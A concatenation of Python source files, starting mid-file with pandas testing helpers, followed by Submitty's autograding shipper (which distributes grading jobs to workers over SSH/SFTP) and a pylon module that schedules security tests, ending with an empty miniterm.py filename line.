``t``, with checks for connectivity errors. Example ------- Tests decorated with @network will fail if it's possible to make a network connection to another URL (defaults to google.com):: >>> from pandas._testing import network >>> from pandas.io.common import urlopen >>> @network ... def test_network(): ... with urlopen("rabbit://bonanza.com"): ... pass Traceback ... URLError: <urlopen error unknown url type: rabit> You can specify alternative URLs:: >>> @network("https://www.yahoo.com") ... def test_something_with_yahoo(): ... raise IOError("Failure Message") >>> test_something_with_yahoo() Traceback (most recent call last): ... IOError: Failure Message If you set check_before_test, it will check the url first and not run the test on failure:: >>> @network("failing://url.blaher", check_before_test=True) ... def test_something(): ... print("I ran!") ... raise ValueError("Failure") >>> test_something() Traceback (most recent call last): ... Errors not related to networking will always be raised. """ from pytest import skip if error_classes is None: error_classes = _get_default_network_errors() t.network = True @wraps(t) def wrapper(*args, **kwargs): if check_before_test and not raise_on_error: if not can_connect(url, error_classes): skip() try: return t(*args, **kwargs) except Exception as err: errno = getattr(err, "errno", None) if not errno and hasattr(errno, "reason"): errno = getattr(err.reason, "errno", None) if errno in skip_errnos: skip(f"Skipping test due to known errno and error {err}") e_str = str(err) if any(m.lower() in e_str.lower() for m in _skip_on_messages): skip( f"Skipping test because exception message is known and error {err}" ) if not isinstance(err, error_classes): raise if raise_on_error or can_connect(url, error_classes): raise else: skip(f"Skipping test due to lack of connectivity and error {err}") return wrapper with_connectivity_check = network @contextmanager def assert_produces_warning( expected_warning=Warning, filter_level="always", check_stacklevel=True, raise_on_extra_warnings=True, ): """ Context manager for running code expected to either raise a specific warning, or not raise any warnings. Verifies that the code raises the expected warning, and that it does not raise any other unexpected warnings. It is basically a wrapper around ``warnings.catch_warnings``. Parameters ---------- expected_warning : {Warning, False, None}, default Warning The type of Exception raised. ``exception.Warning`` is the base class for all warnings. To check that no warning is returned, specify ``False`` or ``None``. filter_level : str or None, default "always" Specifies whether warnings are ignored, displayed, or turned into errors. Valid values are: * "error" - turns matching warnings into exceptions * "ignore" - discard the warning * "always" - always emit a warning * "default" - print the warning the first time it is generated from each location * "module" - print the warning the first time it is generated from each module * "once" - print the warning the first time it is generated check_stacklevel : bool, default True If True, displays the line that called the function containing the warning to show were the function is called. Otherwise, the line that implements the function is displayed. raise_on_extra_warnings : bool, default True Whether extra warnings not of the type `expected_warning` should cause the test to fail. Examples -------- >>> import warnings >>> with assert_produces_warning(): ... warnings.warn(UserWarning()) ... >>> with assert_produces_warning(False): ... warnings.warn(RuntimeWarning()) ... Traceback (most recent call last): ... AssertionError: Caused unexpected warning(s): ['RuntimeWarning']. >>> with assert_produces_warning(UserWarning): ... warnings.warn(RuntimeWarning()) Traceback (most recent call last): ... AssertionError: Did not see expected warning of class 'UserWarning'. ..warn:: This is *not* thread-safe. """ __tracebackhide__ = True with warnings.catch_warnings(record=True) as w: saw_warning = False warnings.simplefilter(filter_level) yield w extra_warnings = [] for actual_warning in w: if expected_warning and issubclass( actual_warning.category, expected_warning ): saw_warning = True if check_stacklevel and issubclass( actual_warning.category, (FutureWarning, DeprecationWarning) ): from inspect import getframeinfo, stack caller = getframeinfo(stack()[2][0]) msg = ( "Warning not set with correct stacklevel. " f"File where warning is raised: {actual_warning.filename} != " f"{caller.filename}. Warning message: {actual_warning.message}" ) assert actual_warning.filename == caller.filename, msg else: extra_warnings.append( ( actual_warning.category.__name__, actual_warning.message, actual_warning.filename, actual_warning.lineno, ) ) if expected_warning: msg = ( f"Did not see expected warning of class " f"{repr(expected_warning.__name__)}" ) assert saw_warning, msg if raise_on_extra_warnings and extra_warnings: raise AssertionError( f"Caused unexpected warning(s): {repr(extra_warnings)}" ) class RNGContext: """ Context manager to set the numpy random number generator speed. Returns to the original value upon exiting the context manager. Parameters ---------- seed : int Seed for numpy.random.seed Examples -------- with RNGContext(42): np.random.randn() """ def __init__(self, seed): self.seed = seed def __enter__(self): self.start_state = np.random.get_state() np.random.seed(self.seed) def __exit__(self, exc_type, exc_value, traceback): np.random.set_state(self.start_state) @contextmanager def with_csv_dialect(name, **kwargs): """ Context manager to temporarily register a CSV dialect for parsing CSV. Parameters ---------- name : str The name of the dialect. kwargs : mapping The parameters for the dialect. Raises ------ ValueError : the name of the dialect conflicts with a builtin one. See Also -------- csv : Python's CSV library. """ import csv _BUILTIN_DIALECTS = {"excel", "excel-tab", "unix"} if name in _BUILTIN_DIALECTS: raise ValueError("Cannot override builtin dialect.") csv.register_dialect(name, **kwargs) yield csv.unregister_dialect(name) @contextmanager def use_numexpr(use, min_elements=None): from pandas.core.computation import expressions as expr if min_elements is None: min_elements = expr._MIN_ELEMENTS olduse = expr.USE_NUMEXPR oldmin = expr._MIN_ELEMENTS expr.set_use_numexpr(use) expr._MIN_ELEMENTS = min_elements yield expr._MIN_ELEMENTS = oldmin expr.set_use_numexpr(olduse) def test_parallel(num_threads=2, kwargs_list=None): """ Decorator to run the same function multiple times in parallel. Parameters ---------- num_threads : int, optional The number of times the function is run in parallel. kwargs_list : list of dicts, optional The list of kwargs to update original function kwargs on different threads. Notes ----- This decorator does not pass the return value of the decorated function. Original from scikit-image: https://github.com/scikit-image/scikit-image/pull/1519 """ assert num_threads > 0 has_kwargs_list = kwargs_list is not None if has_kwargs_list: assert len(kwargs_list) == num_threads import threading def wrapper(func): @wraps(func) def inner(*args, **kwargs): if has_kwargs_list: update_kwargs = lambda i: dict(kwargs, **kwargs_list[i]) else: update_kwargs = lambda i: kwargs threads = [] for i in range(num_threads): updated_kwargs = update_kwargs(i) thread = threading.Thread(target=func, args=args, kwargs=updated_kwargs) threads.append(thread) for thread in threads: thread.start() for thread in threads: thread.join() return inner return wrapper class SubclassedSeries(Series): _metadata = ["testattr", "name"] @property def _constructor(self): return SubclassedSeries @property def _constructor_expanddim(self): return SubclassedDataFrame class SubclassedDataFrame(DataFrame): _metadata = ["testattr"] @property def _constructor(self): return SubclassedDataFrame @property def _constructor_sliced(self): return SubclassedSeries class SubclassedCategorical(Categorical): @property def _constructor(self): return SubclassedCategorical @contextmanager def set_timezone(tz: str): """ Context manager for temporarily setting a timezone. Parameters ---------- tz : str A string representing a valid timezone. Examples -------- >>> from datetime import datetime >>> from dateutil.tz import tzlocal >>> tzlocal().tzname(datetime.now()) 'IST' >>> with set_timezone('US/Eastern'): ... tzlocal().tzname(datetime.now()) ... 'EDT' """ import os import time def setTZ(tz): if tz is None: try: del os.environ["TZ"] except KeyError: pass else: os.environ["TZ"] = tz time.tzset() orig_tz = os.environ.get("TZ") setTZ(tz) try: yield finally: setTZ(orig_tz) def _make_skipna_wrapper(alternative, skipna_alternative=None): """ Create a function for calling on an array. Parameters ---------- alternative : function The function to be called on the array with no NaNs. Only used when 'skipna_alternative' is None. skipna_alternative : function The function to be called on the original array Returns ------- function """ if skipna_alternative: def skipna_wrapper(x): return skipna_alternative(x.values) else: def skipna_wrapper(x): nona = x.dropna() if len(nona) == 0: return np.nan return alternative(nona) return skipna_wrapper def convert_rows_list_to_csv_str(rows_list: List[str]): """ Convert list of CSV rows to single CSV-formatted string for current OS. This method is used for creating expected value of to_csv() method. Parameters ---------- rows_list : List[str] Each element represents the row of csv. Returns ------- str Expected output of to_csv() in current OS. """ sep = os.linesep expected = sep.join(rows_list) + sep return expected def external_error_raised(expected_exception: Type[Exception]) -> ContextManager: """ Helper function to mark pytest.raises that have an external error message. Parameters ---------- expected_exception : Exception Expected error to raise. Returns ------- Callable Regular `pytest.raises` function with `match` equal to `None`. """ import pytest return pytest.raises(expected_exception, match=None) cython_table = pd.core.base.SelectionMixin._cython_table.items() def get_cython_table_params(ndframe, func_names_and_expected): """ Combine frame, functions from SelectionMixin._cython_table keys and expected result. Parameters ---------- ndframe : DataFrame or Series func_names_and_expected : Sequence of two items The first item is a name of a NDFrame method ('sum', 'prod') etc. The second item is the expected return value. Returns ------- list List of three items (DataFrame, function, expected result) """ results = [] for func_name, expected in func_names_and_expected: results.append((ndframe, func_name, expected)) results += [ (ndframe, func, expected) for func, name in cython_table if name == func_name ] return results def get_op_from_name(op_name: str) -> Callable: """ The operator function for a given op name. Parameters ---------- op_name : string The op name, in form of "add" or "__add__". Returns ------- function A function performing the operation. """ short_opname = op_name.strip("_") try: op = getattr(operator, short_opname) except AttributeError: # Assume it is the reverse operator rop = getattr(operator, short_opname[1:]) op = lambda x, y: rop(y, x) return op
submitty_autograding_shipper.py
#!/usr/bin/env python3 import os import time import signal import json import shutil import contextlib import datetime import multiprocessing from submitty_utils import dateutils, glob import operator import paramiko import tempfile import socket from autograder import grade_items_logging from autograder import grade_item from autograder import packer_unpacker CONFIG_PATH = os.path.join(os.path.dirname(os.path.realpath(__file__)), '..', 'config') with open(os.path.join(CONFIG_PATH, 'submitty.json')) as open_file: OPEN_JSON = json.load(open_file) AUTOGRADING_LOG_PATH = OPEN_JSON['autograding_log_path'] SUBMITTY_DATA_DIR = OPEN_JSON['submitty_data_dir'] SUBMITTY_INSTALL_DIR = OPEN_JSON['submitty_install_dir'] with open(os.path.join(CONFIG_PATH, 'submitty_users.json')) as open_file: OPEN_JSON = json.load(open_file) DAEMON_UID = OPEN_JSON['daemon_uid'] INTERACTIVE_QUEUE = os.path.join(SUBMITTY_DATA_DIR, "to_be_graded_queue") JOB_ID = '~SHIP~' # ================================================================================== def initialize(untrusted_queue): """ Initializer function for all our processes. We get one untrusted user off our queue which we then set in our Process. We cannot recycle the shipper process as else the untrusted user we set for this process will be lost. :param untrusted_queue: multiprocessing.queues.Queue that contains all untrusted users left to assign """ multiprocessing.current_process().untrusted = untrusted_queue.get() # ================================================================================== def add_fields_to_autograding_worker_json(autograding_worker_json, entry): submitty_config = os.path.join(SUBMITTY_INSTALL_DIR, 'config', 'version.json') try: with open(submitty_config) as infile: submitty_details = json.load(infile) installed_commit = submitty_details['installed_commit'] most_recent_tag = submitty_details['most_recent_git_tag'] except FileNotFoundError as e: raise SystemExit("ERROR, could not locate the submitty.json:", e) autograding_worker_json[entry]['server_name'] = socket.getfqdn() autograding_worker_json[entry]['primary_commit'] = installed_commit autograding_worker_json[entry]['most_recent_tag'] = most_recent_tag return autograding_worker_json # ================================================================================== def update_all_foreign_autograding_workers(): success_map = dict() all_workers_json = os.path.join(SUBMITTY_INSTALL_DIR, 'config', "autograding_workers.json") try: with open(all_workers_json, 'r') as infile: autograding_workers = json.load(infile) except FileNotFoundError as e: raise SystemExit("ERROR, could not locate autograding_workers_json :", e) for key, value in autograding_workers.items(): formatted_entry = {key: value} formatted_entry = add_fields_to_autograding_worker_json(formatted_entry, key) success = update_worker_json(key, formatted_entry) success_map[key] = success return success_map # ================================================================================== # Updates the autograding_worker.json in a workers autograding_TODO folder (tells it) # how many threads to be running on startup. def update_worker_json(name, entry): fd, tmp_json_path = tempfile.mkstemp() foreign_json = os.path.join(SUBMITTY_DATA_DIR, "autograding_TODO", "autograding_worker.json") autograding_worker_to_ship = entry try: user = autograding_worker_to_ship[name]['username'] host = autograding_worker_to_ship[name]['address'] except Exception as e: print("ERROR: autograding_workers.json entry for {0} is malformatted. {1}".format(e, name)) grade_items_logging.log_message(JOB_ID, message="ERROR: autograding_workers.json entry for {0} is malformatted. {1}".format(e, name)) return False #create a new temporary json with only the entry for the current machine. with open(tmp_json_path, 'w') as outfile: json.dump(autograding_worker_to_ship, outfile, sort_keys=True, indent=4) #if we are updating the current machine, we can just move the new json to the appropriate spot (no ssh needed) if host == "localhost": try: shutil.move(tmp_json_path,foreign_json) print("Successfully updated local autograding_TODO/autograding_worker.json") grade_items_logging.log_message(JOB_ID, message="Successfully updated local autograding_TODO/autograding_worker.json") return True except Exception as e: grade_items_logging.log_message(JOB_ID, message="ERROR: could not mv to local autograding_TODO/autograding_worker.json due to the following error: "+str(e)) print("ERROR: could not mv to local autograding_worker.json due to the following error: {0}".format(e)) return False finally: os.close(fd) #if we are updating a foreign machine, we must connect via ssh and use sftp to update it. else: #try to establish an ssh connection to the host try: ssh = paramiko.SSHClient() ssh.get_host_keys() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(hostname = host, username = user) except Exception as e: grade_items_logging.log_message(JOB_ID, message="ERROR: could not ssh to {0}@{1} due to following error: {2}".format(user, host,str(e))) print("ERROR: could not ssh to {0}@{1} due to following error: {2}".format(user, host,str(e))) return False #try to copy the files over to the host try: sftp = ssh.open_sftp() sftp.put(tmp_json_path,foreign_json) sftp.close() print("Successfully forwarded autograding_worker.json to {0}".format(name)) grade_items_logging.log_message(JOB_ID, message="Successfully forwarded autograding_worker.json to {0}".format(name)) success = True except Exception as e: grade_items_logging.log_message(JOB_ID, message="ERROR: could not sftp to foreign autograding_TODO/autograding_worker.json due to the following error: "+str(e)) print("ERROR: could sftp to foreign autograding_TODO/autograding_worker.json due to the following error: {0}".format(e)) success = False finally: os.close(fd) os.remove(tmp_json_path) sftp.close() ssh.close() return success # ================================================================================== def prepare_job(my_name,which_machine,which_untrusted,next_directory,next_to_grade): # verify the DAEMON_USER is running this script if not int(os.getuid()) == int(DAEMON_UID): grade_items_logging.log_message(JOB_ID, message="ERROR: must be run by DAEMON_USER") raise SystemExit("ERROR: the grade_item.py script must be run by the DAEMON_USER") if which_machine == 'localhost': address = which_machine else: address = which_machine.split('@')[1] # prepare the zip files try: autograding_zip_tmp,submission_zip_tmp = packer_unpacker.prepare_autograding_and_submission_zip(which_machine,which_untrusted,next_directory,next_to_grade) fully_qualified_domain_name = socket.getfqdn() servername_workername = "{0}_{1}".format(fully_qualified_domain_name, address) autograding_zip = os.path.join(SUBMITTY_DATA_DIR,"autograding_TODO",servername_workername+"_"+which_untrusted+"_autograding.zip") submission_zip = os.path.join(SUBMITTY_DATA_DIR,"autograding_TODO",servername_workername+"_"+which_untrusted+"_submission.zip") todo_queue_file = os.path.join(SUBMITTY_DATA_DIR,"autograding_TODO",servername_workername+"_"+which_untrusted+"_queue.json") with open(next_to_grade, 'r') as infile: queue_obj = json.load(infile) queue_obj["which_untrusted"] = which_untrusted queue_obj["which_machine"] = which_machine queue_obj["ship_time"] = dateutils.write_submitty_date(microseconds=True) except Exception as e: grade_items_logging.log_message(JOB_ID, message="ERROR: failed preparing submission zip or accessing next to grade "+str(e)) print("ERROR: failed preparing submission zip or accessing next to grade ", e) return False if address == "localhost": try: shutil.move(autograding_zip_tmp,autograding_zip) shutil.move(submission_zip_tmp,submission_zip) with open(todo_queue_file, 'w') as outfile: json.dump(queue_obj, outfile, sort_keys=True, indent=4) except Exception as e: grade_items_logging.log_message(JOB_ID, message="ERROR: could not move files due to the following error: "+str(e)) print("ERROR: could not move files due to the following error: {0}".format(e)) return False else: try: user, host = which_machine.split("@") ssh = paramiko.SSHClient() ssh.get_host_keys() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(hostname = host, username = user) sftp = ssh.open_sftp() sftp.put(autograding_zip_tmp,autograding_zip) sftp.put(submission_zip_tmp,submission_zip) with open(todo_queue_file, 'w') as outfile: json.dump(queue_obj, outfile, sort_keys=True, indent=4) sftp.put(todo_queue_file, todo_queue_file) os.remove(todo_queue_file) print("Successfully forwarded files to {0}".format(my_name)) success = True except Exception as e: grade_items_logging.log_message(JOB_ID, message="ERROR: could not move files due to the following error: "+str(e)) print("Could not move files due to the following error: {0}".format(e)) success = False finally: sftp.close() ssh.close() os.remove(autograding_zip_tmp) os.remove(submission_zip_tmp) return success # log completion of job preparation obj = packer_unpacker.load_queue_file_obj(JOB_ID,next_directory,next_to_grade) partial_path = os.path.join(obj["gradeable"],obj["who"],str(obj["version"])) item_name = os.path.join(obj["semester"],obj["course"],"submissions",partial_path) is_batch = "regrade" in obj and obj["regrade"] grade_items_logging.log_message(JOB_ID, jobname=item_name, which_untrusted=which_untrusted, is_batch=is_batch, message="Prepared job for " + which_machine) return True # ================================================================================== # ================================================================================== def unpack_job(which_machine,which_untrusted,next_directory,next_to_grade): # variables needed for logging obj = packer_unpacker.load_queue_file_obj(JOB_ID,next_directory,next_to_grade) partial_path = os.path.join(obj["gradeable"],obj["who"],str(obj["version"])) item_name = os.path.join(obj["semester"],obj["course"],"submissions",partial_path) is_batch = "regrade" in obj and obj["regrade"] # verify the DAEMON_USER is running this script if not int(os.getuid()) == int(DAEMON_UID): grade_items_logging.log_message(JOB_ID, message="ERROR: must be run by DAEMON_USER") raise SystemExit("ERROR: the grade_item.py script must be run by the DAEMON_USER") if which_machine == 'localhost': address = which_machine else: address = which_machine.split('@')[1] fully_qualified_domain_name = socket.getfqdn() servername_workername = "{0}_{1}".format(fully_qualified_domain_name, address) target_results_zip = os.path.join(SUBMITTY_DATA_DIR,"autograding_DONE",servername_workername+"_"+which_untrusted+"_results.zip") target_done_queue_file = os.path.join(SUBMITTY_DATA_DIR,"autograding_DONE",servername_workername+"_"+which_untrusted+"_queue.json") if which_machine == "localhost": if not os.path.exists(target_done_queue_file): return False else: local_done_queue_file = target_done_queue_file local_results_zip = target_results_zip else: user, host = which_machine.split("@") ssh = paramiko.SSHClient() ssh.get_host_keys() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: ssh.connect(hostname = host, username = user) sftp = ssh.open_sftp() fd1, local_done_queue_file = tempfile.mkstemp() fd2, local_results_zip = tempfile.mkstemp() #remote path first, then local. sftp.get(target_done_queue_file, local_done_queue_file) sftp.get(target_results_zip, local_results_zip) #Because get works like cp rather tnan mv, we have to clean up. sftp.remove(target_done_queue_file) sftp.remove(target_results_zip) success = True #This is the normal case (still grading on the other end) so we don't need to print anything. except FileNotFoundError: os.remove(local_results_zip) os.remove(local_done_queue_file) success = False #In this more general case, we do want to print what the error was. #TODO catch other types of exception as we identify them. except Exception as e: grade_items_logging.log_message(JOB_ID, message="ERROR: Could not retrieve the file from the foreign machine "+str(e)) print("ERROR: Could not retrieve the file from the foreign machine.\nERROR: {0}".format(e)) os.remove(local_results_zip) os.remove(local_done_queue_file) success = False finally: os.close(fd1) os.close(fd2) sftp.close() ssh.close() if not success: return False # archive the results of grading try: packer_unpacker.unpack_grading_results_zip(which_machine,which_untrusted,local_results_zip) except: grade_items_logging.log_message(JOB_ID,jobname=item_name,message="ERROR: Exception when unpacking zip") with contextlib.suppress(FileNotFoundError): os.remove(local_results_zip) with contextlib.suppress(FileNotFoundError): os.remove(local_done_queue_file) grade_items_logging.log_message(JOB_ID, jobname=item_name, which_untrusted=which_untrusted, is_batch=is_batch, message="Unpacked job from " + which_machine) return True # ================================================================================== def grade_queue_file(my_name, which_machine,which_untrusted,queue_file): """ Oversees the autograding of single item from the queue :param queue_file: details of what to grade :param which_machine: name of machine to send this job to (might be "localhost") :param which_untrusted: specific untrusted user for this autograding job """ my_dir,my_file=os.path.split(queue_file) pid = os.getpid() directory = os.path.dirname(os.path.realpath(queue_file)) name = os.path.basename(os.path.realpath(queue_file)) grading_file = os.path.join(directory, "GRADING_" + name) #TODO: breach which_machine into id, address, and passphrase. try: # prepare the job shipper_counter=0 prep_job_success = prepare_job(my_name,which_machine, which_untrusted, my_dir, queue_file) if not prep_job_success: print (my_name, " ERROR unable to prepare job: ", queue_file) grade_items_logging.log_message(JOB_ID, message=str(my_name)+" ERROR unable to prepare job: " + queue_file) else: # then wait for grading to be completed shipper_counter=0 while not unpack_job(which_machine, which_untrusted, my_dir, queue_file): shipper_counter+=1 time.sleep(1) if shipper_counter >= 10: print (my_name,which_untrusted,"shipper wait for grade: ",queue_file) shipper_counter=0 except Exception as e: print (my_name, " ERROR attempting to grade item: ", queue_file, " exception=",str(e)) grade_items_logging.log_message(JOB_ID, message=str(my_name)+" ERROR attempting to grade item: " + queue_file + " exception " + repr(e)) # note: not necessary to acquire lock for these statements, but # make sure you remove the queue file, then the grading file try: os.remove(queue_file) except Exception as e: print (my_name, " ERROR attempting to remove queue file: ", queue_file, " exception=",str(e)) grade_items_logging.log_message(JOB_ID, message=str(my_name)+" ERROR attempting to remove queue file: " + queue_file + " exception=" + str(e)) try: os.remove(grading_file) except Exception as e: print (my_name, " ERROR attempting to remove grading file: ", grading_file, " exception=",str(e)) grade_items_logging.log_message(JOB_ID, message=str(my_name)+" ERROR attempting to remove grading file: " + grading_file + " exception=" + str(e)) # ================================================================================== def get_job(my_name,which_machine,my_capabilities,which_untrusted,overall_lock): """ Picks a job from the queue :param overall_lock: a lock on the directory containing all queue files """ time_get_job_begin = dateutils.get_current_time() overall_lock.acquire() folder= INTERACTIVE_QUEUE # Grab all the files currently in the folder, sorted by creation # time, and put them in the queue to be graded files = glob.glob(os.path.join(folder, "*")) files_and_times = list() for f in files: try: my_time = os.path.getctime(f) except: continue tup = (f, my_time) files_and_times.append(tup) files_and_times = sorted(files_and_times, key=operator.itemgetter(1)) my_job="" for full_path_file, file_time in files_and_times: # get the file name (without the path) just_file = full_path_file[len(folder)+1:] # skip items that are already being graded if (just_file[0:8]=="GRADING_"): continue grading_file = os.path.join(folder,"GRADING_"+just_file) if grading_file in files: continue # found something to do try: with open(full_path_file, 'r') as infile: queue_obj = json.load(infile) except: continue #Check to make sure that we are capable of grading this submission required_capabilities = queue_obj["required_capabilities"] if not required_capabilities in my_capabilities: continue # prioritize interactive jobs over (batch) regrades # if you've found an interactive job, exit early (since they are sorted by timestamp) if not "regrade" in queue_obj or not queue_obj["regrade"]: my_job = just_file break # otherwise it's a regrade, and if we don't already have a # job, take it, but we have to search the rest of the list if my_job == "": my_job = just_file if not my_job == "": grading_file = os.path.join(folder, "GRADING_" + my_job) # create the grading file with open(os.path.join(grading_file), "w") as queue_file: json.dump({"untrusted": which_untrusted}, queue_file) overall_lock.release() time_get_job_end = dateutils.get_current_time() time_delta = time_get_job_end-time_get_job_begin if time_delta > datetime.timedelta(milliseconds=100): print (my_name, " WARNING: submitty_autograding shipper get_job time ", time_delta) grade_items_logging.log_message(JOB_ID, message=str(my_name)+" WARNING: submitty_autograding shipper get_job time "+str(time_delta)) return (my_job) # ================================================================================== # ================================================================================== def shipper_process(my_name,my_data,full_address,which_untrusted,overall_lock): """ Each shipper process spins in a loop, looking for a job that matches the capabilities of this machine, and then oversees the autograding of that job. Interactive jobs are prioritized over batch (regrade) jobs. If no jobs are available, the shipper waits on an event editing one of the queues. """ which_machine = full_address my_capabilities = my_data[my_name]['capabilities'] # ignore keyboard interrupts in the shipper processes signal.signal(signal.SIGINT, signal.SIG_IGN) counter=0 while True: try: my_job = get_job(my_name,which_machine,my_capabilities,which_untrusted,overall_lock) if not my_job == "": counter=0 grade_queue_file(my_name,which_machine,which_untrusted,os.path.join(INTERACTIVE_QUEUE,my_job)) continue else: if counter == 0 or counter >= 10: print ("{0} {1}: no available job".format(my_name, which_untrusted)) counter=0 counter+=1 time.sleep(1) except Exception as e: my_message = "ERROR in get_job " + which_machine + " " + which_untrusted + " " + str(e) print (my_message) grade_items_logging.log_message(JOB_ID, message=my_message) time.sleep(1) # ================================================================================== # ================================================================================== def launch_shippers(worker_status_map): # verify the DAEMON_USER is running this script if not int(os.getuid()) == int(DAEMON_UID): raise SystemExit("ERROR: the grade_item.py script must be run by the DAEMON_USER") grade_items_logging.log_message(JOB_ID, message="grade_scheduler.py launched") # Clean up old files from previous shipping/autograding (any # partially completed work will be re-done) for file_path in glob.glob(os.path.join(INTERACTIVE_QUEUE, "GRADING_*")): grade_items_logging.log_message(JOB_ID, message="Remove old queue file: " + file_path) os.remove(file_path) for file_path in glob.glob(os.path.join(SUBMITTY_DATA_DIR,"autograding_TODO","unstrusted*")): grade_items_logging.log_message(JOB_ID, message="Remove autograding TODO file: " + file_path) os.remove(file_path) for file_path in glob.glob(os.path.join(SUBMITTY_DATA_DIR,"autograding_DONE","*")): grade_items_logging.log_message(JOB_ID, message="Remove autograding DONE file: " + file_path) os.remove(file_path) # this lock will be used to edit the queue or new job event overall_lock = multiprocessing.Lock() # The names of the worker machines, the capabilities of each # worker machine, and the number of workers per machine are stored # in the autograding_workers json. try: autograding_workers_path = os.path.join(SUBMITTY_INSTALL_DIR, 'config', "autograding_workers.json") with open(autograding_workers_path, 'r') as infile: autograding_workers = json.load(infile) except Exception as e: raise SystemExit("ERROR: could not locate the autograding workers json: {0}".format(e)) # There must always be a primary machine, it may or may not have # autograding workers. if not "primary" in autograding_workers: raise SystemExit("ERROR: autograding_workers.json contained no primary machine.") # One (or more) of the machines must accept "default" jobs. default_present = False for name, machine in autograding_workers.items(): if "default" in machine["capabilities"]: default_present = True break if not default_present: raise SystemExit("ERROR: autograding_workers.json contained no machine with default capabilities") # Launch a shipper process for every worker on the primary machine and each worker machine total_num_workers = 0 processes = list() for name, machine in autograding_workers.items(): if worker_status_map[name] == False: print("{0} could not be reached, so we are not spinning up shipper threads.".format(name)) grade_items_logging.log_message(JOB_ID, message="{0} could not be reached, so we are not spinning up shipper threads.".format(name)) continue if 'enabled' in machine and machine['enabled'] == False: print("{0} is disabled, so we are not spinning up shipper threads.".format(name)) grade_items_logging.log_message(JOB_ID, message="{0} is disabled, so we are not spinning up shipper threads.") continue try: full_address = "" if machine["address"] != "localhost": if machine["username"] == "": raise SystemExit("ERROR: empty username for worker machine {0} ".format(machine["address"])) full_address = "{0}@{1}".format(machine["username"], machine["address"]) else: if not machine["username"] == "": raise SystemExit('ERROR: username for primary (localhost) must be ""') full_address = machine['address'] num_workers_on_machine = machine["num_autograding_workers"] if num_workers_on_machine < 0: raise SystemExit("ERROR: num_workers_on_machine for '{0}' must be non-negative.".format(machine)) single_machine_data = {name : machine} single_machine_data = add_fields_to_autograding_worker_json(single_machine_data, name) except Exception as e: print("ERROR: autograding_workers.json entry for {0} contains an error: {1}".format(name, e)) grade_items_logging.log_message(JOB_ID, message="ERROR: autograding_workers.json entry for {0} contains an error: {1}".format(name,e)) continue # launch the shipper threads for i in range(0,num_workers_on_machine): u = "untrusted" + str(i).zfill(2) p = multiprocessing.Process(target=shipper_process,args=(name,single_machine_data,full_address, u,overall_lock)) p.start() processes.append(p) total_num_workers += num_workers_on_machine # main monitoring loop try: while True: alive = 0 for i in range(0,total_num_workers): if processes[i].is_alive: alive = alive+1 else: grade_items_logging.log_message(JOB_ID, message="ERROR: process "+str(i)+" is not alive") if alive != total_num_workers: grade_items_logging.log_message(JOB_ID, message="ERROR: #shippers="+str(total_num_workers)+" != #alive="+str(alive)) #print ("shippers= ",total_num_workers," alive=",alive) time.sleep(1) except KeyboardInterrupt: grade_items_logging.log_message(JOB_ID, message="grade_scheduler.py keyboard interrupt") # just kill everything in this group id right now # NOTE: this may be a bug if the grandchildren have a different group id and not be killed os.kill(-os.getpid(), signal.SIGKILL) # run this to check if everything is dead # ps xao pid,ppid,pgid,sid,comm,user | grep untrust # everything's dead, including the main process so the rest of this will be ignored # but this was mostly working... # terminate the jobs for i in range(0,total_num_workers): processes[i].terminate() # wait for them to join for i in range(0,total_num_workers): processes[i].join() grade_items_logging.log_message(JOB_ID, message="grade_scheduler.py terminated") # ================================================================================== if __name__ == "__main__": # verify the DAEMON_USER is running this script if not int(os.getuid()) == int(DAEMON_UID): raise SystemExit("ERROR: the grade_item.py script must be run by the DAEMON_USER") worker_status_map = update_all_foreign_autograding_workers() launch_shippers(worker_status_map)
module.py
#!/usr/bin/python3 # coding=utf-8 # Copyright 2021 getcarrier.io # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Module """ import time from functools import partial from threading import Thread from pylon.core.tools import log, web # pylint: disable=E0611,E0401 from pylon.core.tools import module # pylint: disable=E0611,E0401 from .components import render_security_test_create from .init_db import init_db from .rpc import security_test_create, security_create_schedule, security_load_from_db_by_ids, delete_schedules class Module(module.ModuleModel): """ Task module """ def __init__(self, context, descriptor): self.context = context self.descriptor = descriptor def init(self): """ Init module """ log.info(f"Initializing module {self.descriptor.name}") init_db() self.descriptor.init_blueprint() self.context.slot_manager.register_callback('security_scheduling_test_create', render_security_test_create) # rpc self.context.rpc_manager.register_function( security_test_create, name='_'.join(['security_test_create', 'scheduling']) ) self.context.rpc_manager.register_function( security_create_schedule, name='_'.join(['scheduling', 'security_create_schedule']) ) self.context.rpc_manager.register_function( security_load_from_db_by_ids, name='_'.join(['scheduling', 'security_load_from_db_by_ids']) ) self.context.rpc_manager.register_function( delete_schedules, name='_'.join(['scheduling', 'delete_schedules']) ) t = Thread(target=partial(self.execute_schedules, self.descriptor.config['task_poll_period'])) t.start() def deinit(self): # pylint: disable=R0201 """ De-init module """ log.info(f"De-initializing {self.descriptor.name}") @staticmethod def execute_schedules(poll_period=60): from .models.schedule import Schedule while True: time.sleep(poll_period) log.info(f'Running schedules... with poll_period {poll_period}') for sc in Schedule.query.filter(Schedule.active == True).all(): try: sc.run() except Exception as e: log.critical(e)
miniterm.py
